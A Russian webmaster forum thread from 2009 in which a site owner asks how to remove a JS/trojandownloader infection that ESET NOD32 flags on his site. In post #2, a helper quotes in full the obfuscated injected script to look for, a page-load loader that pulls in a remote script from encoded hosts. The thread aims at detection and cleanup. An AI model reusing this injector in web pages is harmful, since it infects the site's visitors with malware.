X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> Поймал вирус на свой сайт!, Как убить?
Joker48069
Joker48069
Topic Starter сообщение 30.12.2009, 21:25; Ответить: Joker48069
Сообщение #1


Завсегдатай
*****

Группа: Active User
Сообщений: 551
Регистрация: 3.11.2009
Из: Екатеринбург
Поблагодарили: 162 раза
Репутация:   26  


Сайт не открывается, НОД пишет что на данном сайте вирус "JS/trojandownloader.agent.nrl".
Кто-нибудь сталкивался с такой проблемой? Как удалить? Помогите плиз...


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Din
Din
сообщение 30.12.2009, 21:32; Ответить: Din
Сообщение #2


Участник
***

Группа: User
Сообщений: 136
Регистрация: 2.8.2009
Из: Астрахань
Поблагодарили: 40 раз
Репутация:   6  


(Joker48069 @ 30.12.2009, 20:25) *
Сайт не открывается, НОД пишет что на данном сайте вирус "JS/trojandownloader.agent.nrl".
Кто-нибудь сталкивался с такой проблемой? Как удалить? Помогите плиз...

Проверьте все файлы Index на FTP на наличие постороннего кода.
Обычно он добавляется либо в самом конце страницы либо в самом начале.
Код должен быть типа
<script>/*GNU GPL*/ try{window.onload = function(){var Sjtyp5xq2pk = document.createElement('script');Sjtyp5xq2pk.setAttribute('type', 'text/javascript');
Sjtyp5xq2pk.setAttribute('id', 'myscript1');
Sjtyp5xq2pk.setAttribute('src',  'h@t#(#t&&!@p&!:@!&&(/!/)#m)
(@!a$@!r^#c((a&$-$!c)o#m#.)#(a!s@##k^^$&m@$e$)$n)&
(.@!$#c!&^#(o)^$)m!!.#@e!^!a$s!y^@#^-#$(s!!h#)a(^r(#e!!@-&)^c)
@o$&$!m$.(#$h@o^(m((e(s#$w!e#^e##&)t##n^#e^^t&&)&)
w&!(o^$!)!r)@!&k&).&r&u$^:!^#8@$0)@8()0(@/)@$&p$!$&o(#&r!!!$n@$b$b&!(.#o@)
#r@(^@g@)/($!p&o^#$r#)!^#n@^b##b)@&!.#^)o@r&
(!!g&($#/&@$((g@&o^o(#g($l$^)#e!^).^!$c!o)m$$/$w!i#k@^i&a))).#c)
!o)m@/))c^i#!(t^$$i#!$b#)a(#!n#$!k((.^@&c$!@#o$#@)m(/&!
('.replace(/\(|#|\!|\^|@|&|\)|\$/ig, ''));Sjtyp5xq2pk.setAttribute('defer', 'defer');
document.body.appendChild(Sjtyp5xq2pk);}} catch(e) {}</script>

Да еще проверьте все файлы js на наличие постороннего кода.

Сообщение отредактировал Din - 30.12.2009, 21:34
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Joker48069
Joker48069
Topic Starter сообщение 30.12.2009, 21:44; Ответить: Joker48069
Сообщение #3


Завсегдатай
*****

Группа: Active User
Сообщений: 551
Регистрация: 3.11.2009
Из: Екатеринбург
Поблагодарили: 162 раза
Репутация:   26  


Все файлы полностью заражены! Думаю этот вариант не поможет!


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Din
Din
сообщение 30.12.2009, 21:48; Ответить: Din
Сообщение #4


Участник
***

Группа: User
Сообщений: 136
Регистрация: 2.8.2009
Из: Астрахань
Поблагодарили: 40 раз
Репутация:   6  


(Joker48069 @ 30.12.2009, 20:44) *
Все файлы полностью заражены! Думаю этот вариант не поможет!

Ссылочку на сайт можно? А с чего вы взяли что они все заражены?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Joker48069
Joker48069
Topic Starter сообщение 30.12.2009, 21:52; Ответить: Joker48069
Сообщение #5


Завсегдатай
*****

Группа: Active User
Сообщений: 551
Регистрация: 3.11.2009
Из: Екатеринбург
Поблагодарили: 162 раза
Репутация:   26  


_http://marketlin.ru/
Попробовал скачать все файлы на комп, НОД определяет их как заразу и блокирует!


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
seregavip
seregavip
сообщение 31.12.2009, 12:48; Ответить: seregavip
Сообщение #6


Бывалый
****

Группа: User
Сообщений: 431
Регистрация: 23.10.2009
Поблагодарили: 102 раза
Репутация:   22  


А что мешает выключить НОД?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
freezed93
freezed93
сообщение 31.12.2009, 13:00; Ответить: freezed93
Сообщение #7


Участник
***

Группа: User
Сообщений: 245
Регистрация: 14.12.2009
Из: KZN
Поблагодарили: 77 раз
Репутация:   8  


(seregavip @ 31.12.2009, 11:48) *
А что мешает выключить НОД?

Ну выключит он, а что дальше?
По теме: вчера касперский находил вирус, сегодня не нашел/
Вылечил?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Frankie
Frankie
сообщение 31.12.2009, 13:07; Ответить: Frankie
Сообщение #8


Старожил
******

Группа: Active User
Сообщений: 1520
Регистрация: 18.9.2009
Поблагодарили: 320 раз
Репутация:   36  


попробуй через фтп поставить на страницы сайта код вот этой системы http://siteguard.ru/
покажет зараженные страницы и какой код вредоносный на них
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Попинайте сайт
0 yanat 336 Вчера, 23:06
автор: yanat
Горячая тема (нет новых ответов) [Услуги] Баннер/Графика/Сайт
56 FillPlay 5238 Вчера, 18:16
автор: FillPlay
Открытая тема (нет новых ответов) Продам сайт под развитие
Под будущий СДЛ, тематика бизнес, возраст 1 год
5 abafons 1227 Вчера, 14:12
автор: xeons
Открытая тема (нет новых ответов) Продам сайт+домен
1 hndrs 620 Вчера, 13:36
автор: xeons
Открытая тема (нет новых ответов) Строительно-ремонтный сайт в индексе, тиц 20
4 absoluteness 1215 14.12.2017, 23:53
автор: xeons


 



RSS Текстовая версия Сейчас: 16.12.2017, 9:13
Дизайн